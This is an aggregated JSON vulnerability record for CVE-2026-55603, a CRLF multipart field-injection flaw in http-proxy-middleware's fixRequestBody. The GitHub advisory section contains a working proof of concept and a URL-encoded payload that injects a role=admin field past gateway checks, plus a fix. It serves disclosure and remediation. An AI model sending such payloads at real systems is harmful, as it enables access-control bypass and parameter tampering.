{"id":"GHSA-gcq2-9pq2-cxqm","revision":null,"records":[{"revision":"b1d2ee9444fd4a1b910500fbc9e5adb9","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-55603","aliases":[],"title":"http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`","description":"http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.","state":0,"publishedAt":"2026-06-22T20:07:05.034+00:00","modifiedAt":"2026-06-23T12:21:14.668+00:00","affected":[{"ecosystem":"Vendor product","name":"http-proxy-middleware","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"chimurai\",\n                    \"product\": \"http-proxy-middleware\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 3.0.4, < 3.0.7\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 4.0.0, < 4.1.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55603","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-55603","identifiers":["CVE-2026-55603"]},"retained":false,"historicalAffected":[]},{"revision":"430bffe3c5d34a72bf50febe54d4818d","observedAt":"2026-11-07T12:32:41.198+00:00","statement":{"source":"euvd","id":"EUVD-2026-38349","aliases":["CVE-2026-55603","GHSA-gcq2-9pq2-cxqm"],"title":"http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Conte…","description":"http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","score":7.5,"severity":null}],"references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-38349","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 22, 2026, 8:07:05 PM","dateUpdated":"Jun 23, 2026, 12:21:14 PM"},"relatedAdvisories":[{"id":"RHSA-2026:50300","title":"Red Hat Security Advisory: Migration Toolkit for Applications","vulnerabilityIds":["CVE-2026-4926","CVE-2026-12143","CVE-2026-13149","CVE-2026-25681","CVE-2026-26996","CVE-2026-27136","CVE-2026-27904","CVE-2026-33811","CVE-2026-39820","CVE-2026-39821","CVE-2026-40895","CVE-2026-42039","CVE-2026-42041","CVE-2026-42044","CVE-2026-42264","CVE-2026-42342","CVE-2026-42499","CVE-2026-42504","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-55603"]},{"id":"WID-SEC-W-2026-3623","title":"IBM DataPower Gateway: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2023-53781","CVE-2025-14087","CVE-2025-14512","CVE-2025-21858","CVE-2025-22105","CVE-2025-37980","CVE-2025-38015","CVE-2025-38097","CVE-2025-38180","CVE-2025-38400","CVE-2025-38405","CVE-2025-38441","CVE-2025-38470","CVE-2025-38653","CVE-2025-39766","CVE-2025-39797","CVE-2025-39866","CVE-2025-40134","CVE-2025-48431","CVE-2025-5278","CVE-2025-68183","CVE-2025-68211","CVE-2025-68214","CVE-2025-68347","CVE-2025-68366","CVE-2025-68724","CVE-2025-71066","CVE-2025-71089","CVE-2026-12143","CVE-2026-13257","CVE-2026-13258","CVE-2026-13757","CVE-2026-14269","CVE-2026-14273","CVE-2026-14496","CVE-2026-14497","CVE-2026-14502","CVE-2026-14507","CVE-2026-14508","CVE-2026-14509","CVE-2026-14888","CVE-2026-14905","CVE-2026-14988","CVE-2026-14990","CVE-2026-14991","CVE-2026-14992","CVE-2026-14999","CVE-2026-15588","CVE-2026-15762","CVE-2026-15781","CVE-2026-15784","CVE-2026-15819","CVE-2026-15822","CVE-2026-15824","CVE-2026-16111","CVE-2026-16159","CVE-2026-16161","CVE-2026-16163","CVE-2026-16164","CVE-2026-16165","CVE-2026-16167","CVE-2026-16169","CVE-2026-16170","CVE-2026-16176","CVE-2026-16177","CVE-2026-16178","CVE-2026-16179","CVE-2026-16181","CVE-2026-16182","CVE-2026-16340","CVE-2026-16439","CVE-2026-16440","CVE-2026-16441","CVE-2026-2100","CVE-2026-22979","CVE-2026-22984","CVE-2026-22990","CVE-2026-23002","CVE-2026-23060","CVE-2026-23110","CVE-2026-23204","CVE-2026-23209","CVE-2026-23216","CVE-2026-23243","CVE-2026-23270","CVE-2026-23392","CVE-2026-23455","CVE-2026-2391","CVE-2026-31411","CVE-2026-31419","CVE-2026-31488","CVE-2026-31508","CVE-2026-31532","CVE-2026-31581","CVE-2026-31607","CVE-2026-31613","CVE-2026-31669","CVE-2026-31677","CVE-2026-31684","CVE-2026-31685","CVE-2026-33845","CVE-2026-33846","CVE-2026-3832","CVE-2026-3833","CVE-2026-4046","CVE-2026-41254","CVE-2026-41602","CVE-2026-41606","CVE-2026-41607","CVE-2026-42009","CVE-2026-42010","CVE-2026-42011","CVE-2026-42012","CVE-2026-42013","CVE-2026-42014","CVE-2026-42015","CVE-2026-43027","CVE-2026-43037","CVE-2026-43038","CVE-2026-43056","CVE-2026-43074","CVE-2026-43116","CVE-2026-43125","CVE-2026-43163","CVE-2026-43190","CVE-2026-43198","CVE-2026-43260","CVE-2026-43284","CVE-2026-43303","CVE-2026-43329","CVE-2026-43499","CVE-2026-43501","CVE-2026-43868","CVE-2026-43870","CVE-2026-4437","CVE-2026-4438","CVE-2026-45852","CVE-2026-46054","CVE-2026-46086","CVE-2026-46116","CVE-2026-46173","CVE-2026-46181","CVE-2026-46242","CVE-2026-46259","CVE-2026-46300","CVE-2026-46331","CVE-2026-46333","CVE-2026-46917","CVE-2026-46968","CVE-2026-47010","CVE-2026-47021","CVE-2026-47027","CVE-2026-47059","CVE-2026-47063","CVE-2026-48144","CVE-2026-48145","CVE-2026-5260","CVE-2026-52923","CVE-2026-52991","CVE-2026-53006","CVE-2026-53009","CVE-2026-53131","CVE-2026-53189","CVE-2026-53264","CVE-2026-53266","CVE-2026-5419","CVE-2026-5450","CVE-2026-55602","CVE-2026-55603","CVE-2026-55968","CVE-2026-55970","CVE-2026-58010","CVE-2026-58011","CVE-2026-58012","CVE-2026-58013","CVE-2026-58014","CVE-2026-58015","CVE-2026-58016","CVE-2026-58662","CVE-2026-59879","CVE-2026-59880","CVE-2026-60147","CVE-2026-60589","CVE-2026-61308","CVE-2026-63913","CVE-2026-63952","CVE-2026-64017","CVE-2026-64530","CVE-2026-64560","CVE-2026-70906","CVE-2026-70907","CVE-2026-74581","CVE-2026-82417","CVE-2026-82562","CVE-2026-83605","CVE-2026-83607","CVE-2026-83608","CVE-2026-83613","CVE-2026-83614","CVE-2026-83615","CVE-2026-83616","CVE-2026-83619"]},{"id":"RHSA-2026:42085","title":"Red Hat Security Advisory: RHTAS 1.3.6 - Red Hat Trusted Artifact Signer Release","vulnerabilityIds":["CVE-2026-42211","CVE-2026-42342","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44496","CVE-2026-55603"]},{"id":"NCSC-2026-0431","title":"Kwetsbaarheden verholpen in IBM DataPower Gateway en onderliggende componenten","vulnerabilityIds":["CVE-2023-53781","CVE-2025-14087","CVE-2025-14512","CVE-2025-21858","CVE-2025-22105","CVE-2025-37980","CVE-2025-38015","CVE-2025-38097","CVE-2025-38180","CVE-2025-38400","CVE-2025-38405","CVE-2025-38441","CVE-2025-38470","CVE-2025-38653","CVE-2025-39766","CVE-2025-39797","CVE-2025-39866","CVE-2025-40134","CVE-2025-48431","CVE-2025-5278","CVE-2025-68183","CVE-2025-68211","CVE-2025-68214","CVE-2025-68347","CVE-2025-68366","CVE-2025-68724","CVE-2025-71066","CVE-2025-71089","CVE-2026-12143","CVE-2026-13257","CVE-2026-13258","CVE-2026-13757","CVE-2026-14269","CVE-2026-14273","CVE-2026-14496","CVE-2026-14497","CVE-2026-14502","CVE-2026-14507","CVE-2026-14508","CVE-2026-14509","CVE-2026-14888","CVE-2026-14905","CVE-2026-14988","CVE-2026-14990","CVE-2026-14991","CVE-2026-14992","CVE-2026-14999","CVE-2026-15588","CVE-2026-15762","CVE-2026-15781","CVE-2026-15784","CVE-2026-15819","CVE-2026-15822","CVE-2026-15824","CVE-2026-16111","CVE-2026-16159","CVE-2026-16161","CVE-2026-16163","CVE-2026-16164","CVE-2026-16165","CVE-2026-16167","CVE-2026-16169","CVE-2026-16170","CVE-2026-16176","CVE-2026-16177","CVE-2026-16178","CVE-2026-16179","CVE-2026-16181","CVE-2026-16182","CVE-2026-16340","CVE-2026-16439","CVE-2026-16440","CVE-2026-16441","CVE-2026-2100","CVE-2026-22979","CVE-2026-22984","CVE-2026-22990","CVE-2026-23002","CVE-2026-23060","CVE-2026-23110","CVE-2026-23204","CVE-2026-23209","CVE-2026-23216","CVE-2026-23243","CVE-2026-23270","CVE-2026-23392","CVE-2026-23455","CVE-2026-2391","CVE-2026-31411","CVE-2026-31419","CVE-2026-31488","CVE-2026-31508","CVE-2026-31532","CVE-2026-31581","CVE-2026-31607","CVE-2026-31613","CVE-2026-31669","CVE-2026-31677","CVE-2026-31684","CVE-2026-31685","CVE-2026-33845","CVE-2026-33846","CVE-2026-3832","CVE-2026-3833","CVE-2026-4046","CVE-2026-41254","CVE-2026-41602","CVE-2026-41606","CVE-2026-41607","CVE-2026-42009","CVE-2026-42010","CVE-2026-42011","CVE-2026-42012","CVE-2026-42013","CVE-2026-42014","CVE-2026-42015","CVE-2026-43027","CVE-2026-43037","CVE-2026-43038","CVE-2026-43056","CVE-2026-43074","CVE-2026-43116","CVE-2026-43125","CVE-2026-43163","CVE-2026-43190","CVE-2026-43198","CVE-2026-43260","CVE-2026-43284","CVE-2026-43303","CVE-2026-43329","CVE-2026-43499","CVE-2026-43501","CVE-2026-43868","CVE-2026-43870","CVE-2026-4437","CVE-2026-4438","CVE-2026-45852","CVE-2026-46054","CVE-2026-46086","CVE-2026-46116","CVE-2026-46173","CVE-2026-46181","CVE-2026-46242","CVE-2026-46259","CVE-2026-46300","CVE-2026-46331","CVE-2026-46333","CVE-2026-46917","CVE-2026-46968","CVE-2026-47010","CVE-2026-47021","CVE-2026-47027","CVE-2026-47059","CVE-2026-47063","CVE-2026-48144","CVE-2026-48145","CVE-2026-5260","CVE-2026-52923","CVE-2026-52991","CVE-2026-53006","CVE-2026-53009","CVE-2026-53131","CVE-2026-53189","CVE-2026-53264","CVE-2026-53266","CVE-2026-5419","CVE-2026-5450","CVE-2026-55602","CVE-2026-55603","CVE-2026-55968","CVE-2026-55970","CVE-2026-58010","CVE-2026-58011","CVE-2026-58012","CVE-2026-58013","CVE-2026-58014","CVE-2026-58015","CVE-2026-58016","CVE-2026-58662","CVE-2026-59879","CVE-2026-59880","CVE-2026-60147","CVE-2026-60589","CVE-2026-61308","CVE-2026-63913","CVE-2026-63952","CVE-2026-64017","CVE-2026-64530","CVE-2026-64560","CVE-2026-70906","CVE-2026-70907","CVE-2026-74581","CVE-2026-82417","CVE-2026-82562","CVE-2026-83605","CVE-2026-83607","CVE-2026-83608","CVE-2026-83613","CVE-2026-83614","CVE-2026-83615","CVE-2026-83616","CVE-2026-83619"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-38349","identifiers":["EUVD-2026-38349","CVE-2026-55603","GHSA-gcq2-9pq2-cxqm"]},"retained":false,"historicalAffected":[]},{"revision":"c213723bdd6347cb970065002b9e7ca0","observedAt":"2026-10-27T15:15:14.036+00:00","statement":{"source":"nvd","id":"CVE-2026-55603","aliases":[],"title":"http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Conte…","description":"http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.","state":0,"publishedAt":"2026-06-22T21:16:26.033+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55603","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-93"],"productCriteria":["cpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-06-22T21:16:26.033","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-55603","identifiers":["CVE-2026-55603"]},"retained":false,"historicalAffected":[]},{"revision":"1ec6977166bc4d8db5f5be359c0c1d00","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-gcq2-9pq2-cxqm","aliases":["CVE-2026-55603"],"title":"http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`","description":"## Summary\n`fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n  }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n> Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from 'http-proxy-middleware';\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:\nconst req = { readableLength: 0, body: {\n  user: 'alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--'\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n  h: { 'content-type': 'multipart/form-data; boundary=BB' },\n  getHeader(n){ return this.h[n.toLowerCase()]; },\n  setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n  write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req);          // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\"     <-- injected part; never present in req.body's keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  const bad = /[\\r\\n]/;\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    const v = String(value);\n    if (bad.test(key) || bad.test(v)) {\n      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');\n    }\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, '%22')}\"\\r\\n\\r\\n${v}\\r\\n`;\n  }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)","state":0,"publishedAt":"2026-06-18T13:06:21+00:00","modifiedAt":"2026-06-18T13:26:30.358166+00:00","affected":[{"ecosystem":"npm","name":"http-proxy-middleware","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.4"},{"kind":"fixed","version":"3.0.7"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"http-proxy-middleware","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"4.0.0"},{"kind":"fixed","version":"4.1.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm","https://github.com/chimurai/http-proxy-middleware"],"sourceUrl":"https://github.com/advisories/GHSA-gcq2-9pq2-cxqm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gcq2-9pq2-cxqm","identifiers":["GHSA-gcq2-9pq2-cxqm","CVE-2026-55603"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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